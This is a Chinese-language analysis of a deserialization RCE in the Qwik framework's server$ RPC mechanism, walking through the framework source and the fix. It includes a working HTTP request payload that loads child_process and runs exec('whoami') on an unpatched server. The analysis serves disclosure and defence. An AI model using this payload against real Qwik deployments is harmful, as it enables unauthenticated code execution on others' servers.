漏洞描述

Qwik 是一个注重性能的 JavaScript 框架。qwik <=1.19.0 因 server$ RPC 机制中的一个不安全反序列化漏洞而易受 RCE 攻击,该漏洞允许任何未认证用户通过单次 HTTP 请求在服务器上执行任意代码。影响运行时需要()可用的任何部署。该漏洞在1.19.1版本中修复。

漏洞影响

评分:9.2

版本:<=1.19.0

漏洞分析

攻击构造

POST /some-page?qfunc=exec HTTP/1.1
Host: victim.com
Content-Type: application/qwik-json
X-QRL: abc123
Content-Length: 87

{
  "_objs": ["\u0002child_process#exec[['whoami']]"],
  "_entry": "0"
}

注意:下面讲解时是这个错误示例["\u0002child_process#exec_abc123[['whoami']]"]
      会讲述其原因

路由 /some-page:必须是一个存在的页面路由

?qfunc=exec:hash 参数,与 QRL 中的 symbol 后缀匹配

X-QRL: exec:与 qfunc 相同

Content-Type: application/qwik-json:触发特殊反序列化路径

后端调用链分析

前端请求接收处

packages/qwik-city/src/middleware/node/index.ts

这里导入了反序列化器

​

然后在这里包装HTTP请求,并交给 requestHandler


这里的主要作用是将原生 Node.js 请求转换为 Qwik 内部格式,并注入反序列化器。


packages/qwik-city/src/middleware/request-handler/resolve-request-handlers.ts

在这里路由匹配,如果匹配到存在的页面路由runServerFunction 就会被自动添加到处理链中

​

这是runServerFunction的内容

const fn = ev.query.get(QFN_KEY);

从 URL 获取 qfunc=abc123

​

  if (
    fn &&
    ev.request.headers.get('X-QRL') === fn &&
    ev.request.headers.get('Content-Type') === 'application/qwik-json'
  ) {
    ev.exit();
    const isDev = getRequestMode(ev) === 'dev';
    const qwikSerializer = (ev as RequestEventInternal)[RequestEvQwikSerializer];

对请求进行检查

​

const data = await ev.parseBody();

然后在这里解析请求体,从而触发反序列化

​

第一个参数是 QRL 对象

​

这里接收QRL对象,qrl.getHash() 只返回 symbol 的后缀

我们可以让恶意 QRL 的 hash 等于 URL 中的 fn 从而达到绕过的目的

​

接下来走到packages/qwik-city/src/middleware/request-handler/request-event.ts 调用反序列化器

else if (type === 'application/qwik-json') {
    if (method === 'GET' && query.has(QDATA_KEY)) {
      const data = query.get(QDATA_KEY);
      if (data) {
        try {
          return qwikSerializer._deserializeData(decodeURIComponent(data));
        } catch (err) {
          //
        }

当 Content-Type 是 application/qwik-json 时,直接调用 _deserializeData 反序列化请求体

​

进_deserializeData

  const parser = createParser(containerState, doc);

创建解析器

​

  for (let i = 0; i < _objs.length; i++) {
    const value = _objs[i];
    if (isString(value)) {
      _objs[i] = value === UNDEFINED_PREFIX ? undefined : parser.prepare(value);
    }
  }

在预处理 _objs 数组时调用 了parser.prepare 处理字符串

​

进parser.prepare

  $prepare$: (data, containerState) => {
    return parseQRL(data, containerState.$containerEl$);
  },

检测到\u0002 前缀时进入这里,然后去掉 \u0002 前缀,调用 parseQRL


这里返回 prepare 方法,其中

const serializer = getSerializer(data);

获取 QRLSerializer

​

const value = serializer.$prepare$(data.slice(1), containerState, doc);

调用 QRLSerializer.$prepare$

​

进入parseQRL

  const hashIdx = indexOf(qrl, 0, '#');
  const captureIdx = indexOf(qrl, hashIdx, '[');

查找 # 和[分隔符


  const chunkEndIdx = Math.min(hashIdx, captureIdx);
  const chunk = qrl.substring(0, chunkEndIdx);

提取 chunk:"child_process"

​

  const symbolStartIdx = hashIdx == endIdx ? hashIdx : hashIdx + 1;
  const symbolEndIdx = captureIdx;
  const symbol =
    symbolStartIdx == symbolEndIdx ? 'default' : qrl.substring(symbolStartIdx, symbolEndIdx);

提取 symbol:"exec_abc123"


  const captureStartIdx = captureIdx;
  const captureEndIdx = endIdx;
  const capture =
    captureStartIdx === captureEndIdx
      ? EMPTY_ARRAY
      : qrl.substring(captureStartIdx + 1, captureEndIdx - 1).split(' ');

提取 captures:["['whoami']"]


然后直接创建QRL 对象

const iQrl = createQRL<any>(chunk, symbol, null, null, capture, null, null);
  if (containerEl) {
    iQrl.$setContainer$(containerEl);
  }
  return iQrl as QRLInternal<T>;
};


进入createQRL

  const resolvedSymbol = refSymbol ?? symbol;
  const hash = getSymbolHash(resolvedSymbol);

这里计算 hash,取 symbol 最后一部分

​

  const qrl = async function (this: unknown, ...args: QrlArgs<TYPE>) {
    const fn = invokeFn.call(this, tryGetInvokeContext());
    const result = await fn(...args);
    return result;
  } as QRLInternal<TYPE>;

创建 QRL 对象

​

​

添加方法,这里的

getHash: () => hash,

返回abc123

​

export const getSymbolHash = (symbolName: string) => {
  const index = symbolName.lastIndexOf('_');
  if (index > -1) {
    return symbolName.slice(index + 1);
  }
  return symbolName;
};

这里"exec_abc123" 转化成"abc123"

​

就是说创建的QRL对象有这三个

chunk = "child_process"

symbol = "exec_abc123"

hash = "abc123"


接下来回到runServerFunction 执行 QRL

      if (isQrl(qrl) && qrl.getHash() === fn) {
        let result: unknown;
        try {
          if (isDev) {
            result = await measure(ev, `server_${qrl.getSymbol()}`, () =>
              (qrl as Function).apply(ev, args)
            );

此时"abc123" === "abc123",从而绕过了验证,然后执行 QRL

​

执行QRL时调用resolve 方法


在这里调用平台 importSymbol

​

这里进行了invokeFn 包装

maybeThen(resolveLazy(), (f) =>

其中f是加载后的函数

​

接下来我们先看看importSymbol 加载模块

let modulePath = String(url);
      if (!modulePath.endsWith('.js')) {
        modulePath += '.js';
      }

这里将我们的child_process补上.js

也就是"child_process" → "child_process.js"

​

      const module = require(modulePath);
      if (!(symbolName in module)) {
        throw new Error(`Q-ERROR: missing symbol '${symbolName}' in module '${modulePath}'.`);
      }
      return module[symbolName];

这里会进行检查,在child_process 模块中查找 exec_abc123,显然exec_abc123是不存在的,但exec是存在的

这里的关键点是:symbol 在模块中查找时用的是完整的 "exec_abc123",而不是去掉 hash 后的 "exec"。

​

因此我们实际攻击需要确保 symbolName 是模块中真实存在的导出名

故而正确的 payload 应该是

child_process#exec[['whoami']]

其中 symbol = "exec",hash = getSymbolHash("exec") = "exec"

​

最后在packages/qwik/src/core/qrl/qrl-class.ts 进行invokeFn 调用

f 是 child_process.exec 函数

return invoke.call(this, context, f, ...(args as Parameters<typeof f>));

执行 exec('whoami')


漏洞修复

importSymbol 被修改了,不再允许动态加载任意模块

参考

https://github.com/QwikDev/qwik/security/advisories/GHSA-p9x5-jp3h-96mm